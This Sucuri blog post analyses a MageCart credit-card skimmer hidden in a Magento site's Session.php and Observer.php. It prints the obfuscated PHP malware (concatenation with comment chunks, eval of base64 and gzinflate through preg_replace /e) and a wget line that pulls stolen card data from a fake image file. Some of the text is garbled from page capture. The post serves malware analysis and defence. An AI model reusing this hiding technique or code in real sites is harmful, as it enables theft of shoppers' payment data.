Sucuri Blog

S blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html

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MageCart is the name given to the roughly one dozen groups of cyber criminals targeting ecommerce websites with the goal of stealing credit card numbers and selling them on the black market. They remain an ever-growing threat to website owners. We've said many times on this blog that the attackers are constantly using new techniques to evade detection. In this post I will go over a case involving one such MageCart group.

A Hacked Magento Website

Some time ago a client of ours came to us with a heavily infected Magento e-commerce website from where credit card details were being stolen. Our initial actions removed a tremendous amount of malware, including six different types of Magento credit card swipers. The client was stuck in an old version of Magento unable to upgrade for a couple reasons that we will get into later.

Their version of Magento was nearly 7 years old and missing a plethora of security patches. Sadly this is all too common in the Magento-sphere as it's common for business owners to pay a small fortune for a custom coded website and then not have sufficient funds to hire the developer back once their site becomes out-of-date and vulnerable. In fact, it can <u>cost</u> anywhere from \$5,000 to \$50,000 to migrate a Magento 1 website (which had its <u>end of life in 2020</u>) to the more-secure Magento 2. For a lot of website owners this is just not feasible.

What's worse is that Adobe (the owner of the Magento open-source CMS, likely in their effort to force website owners to upgrade) actually *took the security patches for Magento 1 offline.* They are still available on Github but not from an official source.

Adding Credit Card Details to Image Files

One tactic that some Magecart actors employ is the dumping of swiped credit card details into image files on the server avoid raising suspicion. These can later be downloaded using a simple GET request at a later date. For example:

wget hxxps://www.compromised-website[.]com/path/to/cc/dump/arrow.gif

We have documented how credit card credentials are saved in image files in the past on this blog.

Image Files with base64 Encoded Data

Back to the infection: After our initial sweep for malware we noticed that there were two image files on the server that continued to be populated with chunks of base64 encoded data. When decoded to plain text they were clearly credit card and cvv numbers, billing addresses, expiration dates and a lot more. There was something more to be found here.

The first thing I did was to query the website files for the name of one of the images:

"arrow.gif"

That was a pretty basic attempt and I'm not surprised that didn't come up with anything. The attackers stopped leaving their target files in plain text in their payloads a long time ago but I had to try just in case!

I also tried querying the server for recently modified files but as you can imagine there was a lot of content to go through even after excising the obvious extension updates (especially considering that this was a very large Magento environment).

Core File Integrity Check

One of our most useful methods in finding new, previously undetected malware strains is a core file integrity check. What this does is it compares the hashes of the core CMS files on the server to known good copies. If there is a mismatch (code or files added, modified or removed) then it's worth checking out to see precisely *why* there is a mismatch. In this case, there was still a tremendous amount of files to go through.

Fortunately I was pretty sure that this was a PHP injection (rather than javascript) based on how this malware was behaving so I knew to start looking there. Typically with javascript malware you are able to see it loading in the browser or it would show up in an external scan but that was not the case here.

With Magecart malware the files infected *need to be involved in the checkout process somehow in order to work*. The attackers can't just infect any random file; it has to handle payment information somehow. For this reason we tend to see the same files get infected over and over again. One such file is the following:

./app/code/core/Mage/Admin/Model/Session.php

I noticed that this file came up in the core integrity check as having been changed from the original. Sure enough, there was our culprit:

88 🔻	try {
	/** @var \$user Mage_Admin_Model_User */
	<pre>\$user = Mage::getModel('admin/user');</pre>
	<pre>\$user->login(\$username, \$password);</pre>
	if (\$user->getId()) {
	<pre>\$dol8AayG50Sog43fxjqW5gr9drTWnctr='bVZdl6K6Ev1LgNJ9fTgPoxIQmziEpAJ546sFE5Rptfn49be0+8zMXes+sJRAVe29syvFP//E769CVhNLfxrXKfTKzmbWbl7</pre>
	1hh3AEzGXUjKKxB/b3X00u7t09m10PvT9NjnG8u1mJ7I9Jsoivrrvpk073Khp5V0zTb0BtW/t9bS7C1k0blcamlZ62e5ed+1bVbXCYyJ+Bw9+2oIl1SQT0JCAJd7ZZn9ypXofnXIe26J7YtrsZ
	3YuDF6f1EktCMp38Ite+XF4G05tJv0z01Wf4blsVlNpKpndjPNmjbJqlF0a16ZVV07gvLXLJD3HNv8Z2qlwBaNgxz+ZFRYhMIkXX5HwaG13d+WkJxqE4SV+f9SwYFG8U6fUP9pigqAyYbp5rPc
	efzsOmwivyl59xVx20TWHsprXyc9jnFafTw7J5plLHzcrEz9j2+VD0015YxqjfPVJu8KsCHWEUzahv1stN7vfdTXGY0yr0X4hvo+c01zbX/neBSdpURP9Y/M22H71+LWYj+WC0q0X2R00l
	/GLxztPXVHfYYX5f3zl+sqT7h8xxyjNjp5fNeyby9HJGujKTyWfmM/lBuP+cP2XzwNH/3ecJf0JBai3nz48old+MTSpemjbsDTT/2ry4AR0eQX510YVPdYf0+y2MoUZu9Kii2e+69+54zS
	/rhfl+60r7MbJ/q41oU+fWo5+uY0HxyR7+P03hpeh/n/5j8vt7n/wL6W6hriPTav6J78TtXfbB/e6sZ30jv6bGGL4zvvg/4fXZm+YUzx9zE4UvZ+1Dy/8lf+La7tb/UeKiAURH73q0xkRhaJmv
	Vd/EAMbJRICHJLv54N2VvfHFiDUDEI78tdc/FJ2RN10zBkUgzLy6nqgg0Q3INVAt9CHpm6MPHxQUWiyVbnyErrelh/MlzlANglTp0oML4zUigkYj36SrLdVj/7VleYh8yNJT3K+evSEPbqgfpI
	rw19cL9e9hECRSIBXjDu0FwX5brqIkzlDHNFACHaXz069r27UlKo/S/FmMN507IXKiGK960Jw6pF7a0IDPWW/GhmpRhwI00DqAJZqA0VP7Zis167kU28xQzoBlalz5HNjXXRAPObExxoL3oBIR
	J5klUk2eD+xLm/WJ0Goia6Ui5vhTISknCJfaNtXL0TXTSg0KRB+YXZ2b1KmyZx/gMM0lPN07CI5+vUUyegKNg0hgTwM8lnY0XJ9ks7FFFtbsxRMfVhv+S8mmWwW2RA5TPYppMgwhpKKAKlJY
	/PJAKQwKwqN8rT5C1swrUh5D43YNwIWjBfMmCTAngsxnhL0JPpXUqeyzCJzVw7klVeeK0NlY/EM8UjMf00/vNw6sWSLnON0jR6JDn0nR02kBgI+QkmvzIgxIywHIyTtak100j0zaFZecXV1crU
	dMT32tzlDamuxR38Fj08tC/JxaSXDbhY3RaSwtbwxW+xHqdze1An6B9eq+dbx2fDiVGHFCqhVCuUMksHky+/Erq4KeN8EU0Jn7oEsXd3BP0R0uIYrld0KubSFyVXloX9ld06d+NYTeVrp
	+MrsyNVn4Yck0bZ0pgjAqoRaVh2kZoGWB+Fe08FGH6it4aZMIiuLA+rBegPov3wAi0e9KDicZICcL6D5EvfU3Lp4jGWuFah5ncZaaSGozw8NqV+uiIBùlVeRZLmeB0u9JMGG+sVIsXGdbNhBJ0
	g5GeK0oj/EpL2kbRZFytDv6Lcl4IYz5Bd29RLxbVmaAwvqAB74sb9gZnAT3Hd1/UlnsUC/wE2zjEKyVzafIz9KzFnecDb5jZ1xJVjKznIcrMLvU0EaX7bVoqBFuAV2phRE7UrzCR2fYG2LnKIo
	PMMqSDKWkNnxOdJqoT6oLq+9VBf00voNXkIZXZh08xGRr7B+aMpFuFW90v0M+xk68JGf8+NcqDAopph0hxlpZwLnclCktqVDA/wFCHa1oGBMfR07blm6bqmBMe7qT2Iy1Af3y3DooZ4rD6aoA0
	XFqVck+lxz/qIEJG7HBo9wHXLhjRK4qxlZ6eJx3sX4nKG/AEy8B8HnoauTdVAFxK+t8CS36CZGqmLwTHJFU7zhnn2dr1pK/H+2BXD0Dx6SYmN82DMJCRVf52tE+Nescj18v1ML1Z5Jlz1m1u8Z
	+z0r/z7rf3+vrNvi0/gV3ledeczgRN1X37PH2+w7I/F7C2cd6dRKdMXn9yzA9/Z/vr82ewvn4Wzk7jHj/ws=';\$oEoSFNozr80y2GEoPUaJ2rI6JrRWtbdL='p'/*tMfZ9*/.'r'/*xW3Rc
	*/.'e'/*j1aaf*/.'g [/] /*FkEQ6*/.'_'/*qw5zv*/.'r'/*RmExH*/.'e'/*zUjJJ*/.'p'/*gcwaT*/.'l'/*ulJzl*/.'a'/*IbwjR*/.'c'/*oDdm3*/.'e';\$Bstb7IBoFfNxMhLs3M3T5
	APDRwqbyuMS='/'/*ubf4z*/.'.'/*GyjW9*/.'*'/*M5ag5*/.'/'/*MFgu6*/.'e';\$G77JEyY0EBwgI9yBKqlER19ynoALJdGm='e'/*o07Nj*/.'v'/*G6MRh*/.'a'/*AfjK0*/.'l'
	/*DnySa*/.'('/*sC5xI*/.'t'/*Qhe68*/.'r'/*ZmB61*/.'t'/*EIVmp*/.'m'/*USvct*/.'('/*&LGTu*/.'b'/*BqWBD*/.'a'/*sqLzl*/.'s'/*czyEu*/.'e'/*le4ar*/.'6'
	/*h40F7*/.'4'/*p1IZK*/.' '/*Tw00Y*/.'d'/*iaeVz*/.'e'/*nYZOs*/.'c'/*i3xd3*/.'o'/*LmWOR*/.'d'/*L8IqX*/.'e'/*hik1X*/.'('/*ZaXdW*/.'s'/*ltKd8*/.'t'
	/*Umiqp*/.'r'/*L6CEK*/.'r'/*inITE*/.'e'/*s3NGT*/.'v'/*wFUoJ*/.'('/*BC3hF*/.'g'/*SaSOr*/.'z'/*YzmB5*/.'i'/*OLhuu*/.'n'/*FOnpn*/.'f'/*XPSR5*/.'l'
	/*poxkv*/.'a'/*UbwLS*/.'t'/*HJh1a*/.'e'/*bMMj8*/.'('/*XVOla*/.'b'/*TiPK1*/.'a'/*E3e8d*/.'S'/*V1fWC*/.'e'/*PAc5q*/.'6'/*c74Pf*/.'4'/*SN1FY*/.'_
	/*Sw8G8*/.'d'/*Ph12f*/.'e'/*Vr70e*/.'c'/*uXEBS*/.'o'/*NEONk*/.'d'/*NEXL0*/.'e'/*GCWK0*/.'('/*rxqlp*/.'";\$ZDWD2KDvb1CKY2bzim4Zd3ngh02ORv3R='t
	/*kfHif*/.'r'/*FH3g9*/.'i'/*E2CpF*/.'m';\$TPkTp0frEH3sy4SGgMvjEJzLors70kNH='"'/*H00BL*/.')'/*Zedw0*/.')'/*c0bk2*/.')'/*ow7ZF*/.')'/*bBc5H*/.')'
	/*aEzEU*/.')'/*VhT4I*/.';';\$oEoSFNozr80y2GEoPUaJ2rI6JrRWtbdL(\$Bstb7IBoFfNxMhLs3M3T5APDRwgbyuM5,\$G77JEyY0EBwgI9yBKglER19ynoALJdGm.\$ZDWD2KDvb1CKY2bz
	<pre>im4Zd3nqh02QRy3R(\$dol8AayG50Sog43fxjqW5gr9drTWnctr).\$TPkTpOfrEH3sy4SGgMvjEJzLors70kNH,1);</pre>
	<pre>\$this->renewSession();</pre>
96 🔻	if (Mage::getSingleton('adminhtml/url')->useSecretKey()) {
	<pre>Mage::getSingleton('adminhtml/url')->renewSecretUrls();</pre>

Some very ugly but cleverly written PHP code using multiple types of obfuscation Let's take apart this malware, shall we?

Another Analysis of a Credit Card Swiper

The first thing that we are going to want to do is see what we can get out of this big ole' chunk of code at the top here:



This is likely where the meat and potatoes of our malware is. First thing's first: this looks like a base64 encoded string, so let's try to decode it and see what we get:

Decode from Base64 format

Simply enter your data then push the decode button.

bVZdl6K6Ev1LgNJ9fTgPoxlQmziEpAJ546sFE5Rptfn49be0+8zMXes+sJRAVe29syvFP//E769CVhNLfxrXKfTKzmbWbl71hh3AEzGxUjKKxB/b3X00 u7t09m10PvT9NjnG8u1mJ7l9JsoivrrvpkO73Khp5VQzTbOBtW/t9bS7C1k0blcamlZ62e5ed+1bVbXCYyJ+Bw9+2ol1SQT0JCAJd7ZZn9ypXofnXle 26J7YtrsZ3YuDF6f1EktCMp38lte+XF4GQ5LJvO2O1Wf4blsVlNpKpndjPNmjbJqlFQa16ZVV07gvLXLJD3HNv8Z2qlwBaNgxz+ZFRYhMlkXX5HwaG 13d+WkJxqE4SV+19SwYF68U6fUP9pigqAyYbp5rPcefzsOmwivyI59xVx2QTWHsprXyc9jnFafTw7J5plLHzcrEz9j2+VD0015YxgjfPVJu8KsCHWEUz ah1stN7vfdTXGYOyrQX4hvo+cQ1zbX/neBSdpURP9Y/M22H71+LWYj+WC0g0X2R0QI/GLxztPXVHfYYX5f3zl+sqT7h8xxyjNjp5fNeyb99HJGujKTy WfmM/lBuP+cP2XzwNH/3ecJf0JBai3nz48old+MTSpemjbsDTT/2ry4AROeQX510YVPdYf0+y2MoUZu9Kii2e+69+54zS/rhf1+60r7MbJ/q41oU+fWo 5+uYQHxyR7+PO3hpeh/n/5j8vf7n/wL6W6hriPTav6J78TtXfbB/e6sZ30jv6bGGL4zvvg/4fXZm+YUzx9zE4UvZ+1Dy/8lf+La7tb/UeKiAURH73qQxkRh aJmvVd/EAMbJRICHJLv54N2YvfHFiDUDEI78tdc/FJ2RN10zBkUgzLy6nqggOQ3INVAt9CHpm6MPHxQUWiyVbnyErrelh/MlzIANgITpOoML4zUigk Yj36SrLdVj/7VleYh8yNJT3K+evSEPbqgfpIrw19cL9e9hECRSIBXjDuQFwXSbrqlkzIDHNFACHaXz069r27UIKo/S/fmMN507IXKiGK96QJw6pF7aOI DPWW/GhmpRhvIOODqAJZgAQVP7Zis167kU28xQzoBlalz5HNjXXRAPQbExxoL30BIRJ5klUk2eD+xLm/WJ0Goia6Ui5vhTISknCJfaNtXL0TXTSg OKRB+YXZ2b1KmyZx/gMMOIPN07CI5+vUUyegKNgQhgTwM8lnY0XJ9ks7FFFtbsxRMfVhv+S8mmWwW2RA5TPYppMqwhpKKAKIJY/PJAKQwK

6 For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8

Source character set.

Decode each line separately (useful for when you have multiple entries).

D Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

CODE > Decodes your data into the area below.

mV]跑K}}8腳腿腳8腳y腳蹭i]>@U+?BV馏K單馏)fn^腳蹭1R2馏}4Nmt>69f=&"CᆾiT3Mo窳Y4nW嚻Vz^w[Uc"~腳躍~ċ%\$馏A%f馏rz涩r馏{bgv.쬢^I-ໝw ^qx馏龐m&;UIVSi*配fJT吆馏UWৡ\$=6℃階p闂`?馏馏!0凹_hmww′馏%~腳斷`QS?b2ay馏留;腳窳^}\vA5cVO腳K馏7+馏?cCMyc馏#|I¬窳uS6[-7u5`A~!C\ _馏'iQ馏c6~

躍[0Hy躍722111]195WR"sW躍W+Cec認H}溜:dN躍躍)'GM躍>Bï1#,照#\$jMN3hV^quur⑬1=9CjkG躍躍躍-腿qi%n똅7E1[G ヵ四Ta

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Complete rubbish

Well, that's not very useful is it? Another popular method of encoding data alongside base64 is *gzinflate*. Once we added that function to the decoding process and echoed out the results in a safe, sandbox environment we got the following:

Result:

==Qf7UWdyRXPl52bk91YzRiC7kCR0VEUQF0XFxUSGxiIuxlIukSKiMn0ppDSgQWLt1SWigSZ0FGZuIy0i4CZy92dzNXY wRiLisjIuUWbh5mclNXdk4i17IiLddiUERUQfVEVP1URSdyWSVkVSV0UfRCKj5WZfx2czxibm91YzRCKzRnblRnbvN2X 0VHcfVGbpZGQJow0iYWan5ydvJnch9ycldWYtl2L0xWdhZWZk9yc9mcyV2Li4SXnQ1TPJ1XU5URNV1QPR0JbJVRWJVR T9FJg0DIuZ2XjNHJJoQfJow00V3bfN2ckAibyVHdlJXCJow0pETLgwCMgwCd192XjNHJoIHdzJWdzBSPgQXdv91YzRSC JoQfJkgC9lQCJow0i4lIukCctRHJoUGZvNmbl9FN2U2chJGI94CI0V3bfN2ckkQCJkgC7lyclJHJoYWaJkQCKsTK5V2S iVHckACLw1GdkACL0RGJoQHc5J3YuV2XjlGbiVHcfx2cz5WZw9GI9AyclJHJJkQCKsXK0RGJgMXYgEGdhR2XjNHJog2Y hVmcvZWCJow0ncCI9ACd192XjNHJJkgC9lQCKsTKpEGdhR2XjNHJo0WayRHLi4GXigSZk9GbwhXZg0DIhRXYk91YzRSC JkgC7V2csVWfJkgC7kSKpgXYt9lblxmc0N3XjNHJsEGdhR2XjNHJoQXasB3cftmb1h2Yo0WayRHLi4GXyxlIoUGZvxGc 4VGI9ASY0FGZfN2ckkQCJowepgXYt9lblxmc0N3XjNHJg4DIpEGdhR2XjNHJo4WZsJHdzhiZplQCKsjN1IDI9ACeh12X uVGbyR3cfN2ckkQCKsTKhRXYk91YzRCKlR2bj5WZfRjNLNXYiBSPgEGdhR2XjNHJJkgC7kiI98WUMRHMTxEdrZlUMJUe RpEerFlVCZUSFVTVSRHMTxEdwk2Q5ADVVJkRVJ1MGBTUqZ1MN5mUZYVbwZlWs5EVZVFatVFdwNDVpJlehlW0rNUbkFDZ aZESNBDcrRGWaVVYyUlbXZnV6RFeZRUVxgGSSBDdpJWdkdkTJRGMWNjWzsENjVkV3NGSaZlT65EakpWVHZFMUVEbxIVW oZVW1hmMTFzYs5EMwFFV1QGRjpGZtNlcZpnW5t2RThmR6NWMNRUVyoVVjpEdrJlQONjYqhWMZhU0FV2VSkHV4V0VNVEZ

Ok, now we're getting somewhere!

This at least gives us something that uses normal letters and numbers that could be typed on a keyboard if you felt so inclined. One distinct thing I notice about this is that it starts with two equals signs. In base64 encoding these equals signs always occur at the *end* of the sample, *not the beginning.* So let's go ahead and reverse the string and then run that through a base64 decoder again:



Bingo! There's our arrow.gif at the bottom.

However, that tells only part of the story. What about this part of the infection?

+z0r/z7rf3+vrNvi0/gV3ledeczgRN1	IX37PH2+w7I/F7C2cd6dRKdMXn9y;	/ZA9/Z/vr82ewvn4Wzk7jHj/ws=':	\$oEoSFNozr80y2GEoPUaJ2rI6JrRWtb	dL='p'/*tMfZ9*/.'r'/*xW3Rc		
*/.'e'/*j1aaf*/.'g'/*FkEQ6*/.'_	_'/*qw5zv*/.'r'/*RmExH*/.'e'	/*zUjJJ*/.'p'/*gcwaT*/.'l'/*u	ulJzl*/.'a'/*IbwjR*/.'c'/*oDdm3	*/.'e';\$Bstb7IBoFfNxMhLs3M3T5		
APDRwqbyuM5='/'/*ubf4z*/.'.'/*0	GyjW9*/.'*'/*M5ag5*/.'/'/*MF0	gu6*/.'e';\$G77JEyY0EBwgI9yBK	qlER19ynoALJdGm='e'/*o07Nj*/.'v	'/*G6MRh*/.'a'/*AfjK0*/.'l'		
/*DnySa*/.'('/*sC5xI*/.'t'/*Qhe	e6B*/ .'r' /*ZmB61*/ .'i' /*EIVmj	np*/.'m'/*USvct*/.'('/*sLGTu*,	/ .'b' /*BgWBD*/ .'a' /*sqLzl*/ .'s '	/*czyEu*/ .'e' /*le4ar*/ .'6'		
/*h40F7*/.'4'/*p1IZK*/.'_'/*TwQ	20Y*/ .'d' /*iaeVz*/ .'e' /*nYZO:)s*/.'c'/*i3xd3*/.'o'/*ImWOR*,	/.'d'/*L8IqX*/.'e'/*hik1X*/.'('	/*ZaXdW*/.'s'/*ltKd8*/.'t'		
	ITE*/.'e'/*s3NGT*/.'v'/*wFUo	oJ*/ .'(' /*BC3hF*/ .'g' /*SaSQr*,	/.'z'/*YzmB5*/.'i'/*OLhuu*/.'n'	/*FQnpn*/.'f'/*XPSR5*/.'l'		
/*poxkv*/.'a'/*UbwLS*/.'t'/*HJh	11a*/ .'e' /*bMMj8*/ .'(' /*XVOla	la*/.'b'/*TiPK1*/.'a'/*E3e8d*	/.'s'/*v1fWC*/.'e'/*PAc5q*/.'6'	/*c74Pf*/.'4'/*SN1FY*/.'_'		
/*Sw8G8*/.'d'/*Ph12f*/.'e'/*Vr7	70e*/ .'c' /*uXEBS*/ .'o' /*NEON	1k*/.'d'/*NEXL0*/.'e'/*GCwK0*/	/.'('/*rxglp*/.'"';\$ZDWD2KDvb1C	KY2bzim4Zd3nqhO2QRy3R='t'		
/*kfHif*/.'r'/*FH3g9*/.'i'/*E2C	CpF*/.'m';\$TPkTpOfrEH3sy4SGg/	MvjEJzLors7QkNH='"'/*H00BL*/	.')'/*Zedw0*/.')'/*cQbk2*/.')'/	*ow7ZF*/.')'/*bBc5H*/.')'		
/*aEzEU*/.')'/*VhT4I*/.';';\$oEc	oSFNozr80y2GEoPUaJ2rI6JrRWtbo	dL(\$Bstb7IBoFfNxMhLs3M3T5APDF	RwqbyuM5,\$G77JEyY0EBwgI9yBKqlER	19ynoALJdGm.\$ZDWD2KDvb1CKY2bz		
im4Zd3nqh02QRy3R(\$dol8AayG5OSog43fxjqW5gr9drTWnctr).\$TPkTp0frEH3sy4SGgMvjEJzLors7QkNH,1);						

This is the part of the code from which the title of this article was derived. The attackers are using what's called "concatenation" here, which is a very common obfuscation technique that we see a lot. Normally it looks something like this:

<?php echo ""."h"."e".""."llo"."w"."o".""."r"."l"."d"."";

Whereas the server would interpret that as simply "helloworld".

Hiding Malware with Comment Chunks

We already know to look for this type of obfuscation and the attackers know this. In this case they have added some additional comment chunks (the grey areas in the above image). That part of the code does not *functionally* do anything but it adds a layer of obfuscation making it

somewhat more difficult to detect. So when we would do our normal check for concatenated code and search for something like:

"."".""."

It would return nothing.

Let's use a simple regular expression to remove those useless comment chunks and see what we get. We are going to use the following regex for that:

'\/*\W+*\/.'

The result is as follows:

Argvck+tx2/qLb/hb09whALnjkk4qk12e2x35x4nkc/AcgvbBHndul0Wh7k4gk12e30c2cgmLwHjPU/zhnnzdrjpk/H+26x200kSymWs2DMJCkVT5Zt+Nescj18v1mLiSJtZHIU8Z +zdr/Zrf53vrNvt0/gV3LedczzqRN1X37PH2wTI/F7C2cd6dRkdNxgyZA9/Z/vr82ewn4Mzk7jH/ss='j&Go5FNozr80y2GF0PU3L2T63rRWtbdL='preg_replace';SZEbTIBoFF NxMhLs3M3T5APDRwqbyUM5='/.*/e';\$G77JEyY0EBwgI9yBKqlER19ynoALJdGm='eval(trim(base64_decode(strrev(gzinflate(base64_decode("';\$ZDWD2KDvb1CKY2bzim4Zd 3nqh02QRy3R='trim';STPkTp0frEH3sy45GgMvjEJzLors70kHH='')))));';'sGo5FNozr80y2GF0PU3L2rE0JrRWtbdL(\$BstbTIBoFFNxhhLs3M3T5APDRwqbyUM5,\$G77JEyY0EBwgI 9yKB01ER19ynoAlJdGm_S7DWD2KDvb1CKY2bzim4Zd3naD02R0y3B(5d618AayG505nod2F80yZ6E0PU3L2rE0JrRWtbdL(\$BstbTIBoFFNxhhLs3M3T5APDRwqbyUM5,\$G77JEyY0EBwgI 9yKB01ER19ynoAlJdGm_S7DWD2KDvb1CKY2bzim4Zd3naD02R0W3B(5d618AayG505nod2F80yZ6E0PU3L2rE0JrRWtbdL(\$BstbTIBoFFNxhhLs3M3T5APDRwqbyUM5,\$G77JEyY0EBwgI 9yKB01ER19ynoAlJdGm_S7DWD2KDvb1CKY2bz70KH11'

Still encoded, but no longer concatenated. We can see that it is further using the eval base_64decode function to further obfuscate what it is doing but this is the part of the code where the randomly named variables are stored.

Next Steps on the Magecart Swiper Journey

This solved only half of our puzzle as there was still another image file present on the server that was getting base64 encoded credit card details dumped into it. There must be something else to find!

Borrowing an old technique I used back in <u>2019</u> to find a series of backdoors (fifteen variations on one website to be precise) I decided to query the file system for some *"micropatterns"* that might yield some more results. If this Session.php file used this type of concatenation, maybe the attacks were using the same patterns in another file?

The winning query was as follows:

/.'_'/

This is a weird series of special characters unlikely to be present in a normal file. It also avoids relying on the randomly generated junk populating the concatenated commented-out chunks and instead focuses on the concatenation itself. Sure enough, here it was:

./app/code/core/Mage/Bundle/Model/Observer.php

That's the tea!

There we have it! It has the same patterns to the file, same encoding types, just slightly different content, and this time writing to a following bogus css file:

./skin/install/default/default/css/default.css

The advantage for this type of infection for the attackers is that the stolen credit card details can still be obtained with a simple GET request by downloading the bogus file even after they have been locked out of the server due to a simple password change or something similar.

In Conclusion

MageCart is an ever growing threat to e-commerce websites. From the perspective of the attackers: the rewards are too large and consequences non-existent, why wouldn't they? Literal fortunes are made stealing and selling stolen credit cards on the black market. In fact, fascinatingly, the black market functions much like the legitimate market: software developers sell exploit kits to those who want to profit off of compromising websites. Telephone, chat and email support is provided to those customers aiming to exploit vulnerable websites for a profit. Once the stolen credit card details are exfiltrated they are sold on the black market to illicit consumers for a profit.

As more and more commerce is conducted online we can only expect the attacks on websites to escalate and more players enter the already-crowded field of MageCart. The fact that it's not uncommon for us to see an infected website with multiple different credit card

swipers present on them seems to suggest that vulnerable websites are being targeted by multiple different groups all at the same time.

The company RiskIQ in their outstanding <u>report</u> on Magecart shows a great sort of taxonomy of those engaged in these credit card theft cases. At the time of writing it there were roughly 7 distinct groups engaging in swiping credit card details from unsuspecting websites. Although attribution in the website security world is always challenging (or impossible) the example above looks to be the distinct work of Group number 7. Since that report was issued quite a few more groups have entered the game, including one (possibly Canadian?) recently <u>documented</u> making for what is currently a crowded threat landscape.

One point to note is that it's not only groups that carry out these kinds of attacks, there are also individuals on this landscape which makes the actual number of actors in this landscape quite high and impossible to predict.

How do I protect my website?

This boils down to some core principles that we have been stating on this blog for a very long time:

- 1. Keep your website up to date and install all software updates as soon as you can
- 2. Use long, complex passwords
- 3. Use secure workstations to administer your website
- 4. Use a secure hosting environment
- 5. Lock down your administration panel with additional safeguards
- 6. Put your website behind a firewall to prevent attacks

Websites are very complicated things and can become compromised in many different ways. We have always recommended <u>defence in depth</u>. Expect the worst but hope for the best! Every hard drive can fail, every database can crash, every security rule in place can be breached or broken. The goal should be to have as many security rules in place as possible; if one fails, others can still succeed and it doesn't come down to a single point of failure. This doesn't make for a convenient website administration experience but it's better than suffering the <u>consequences</u> of a compromise!

Stay tuned for more website security content!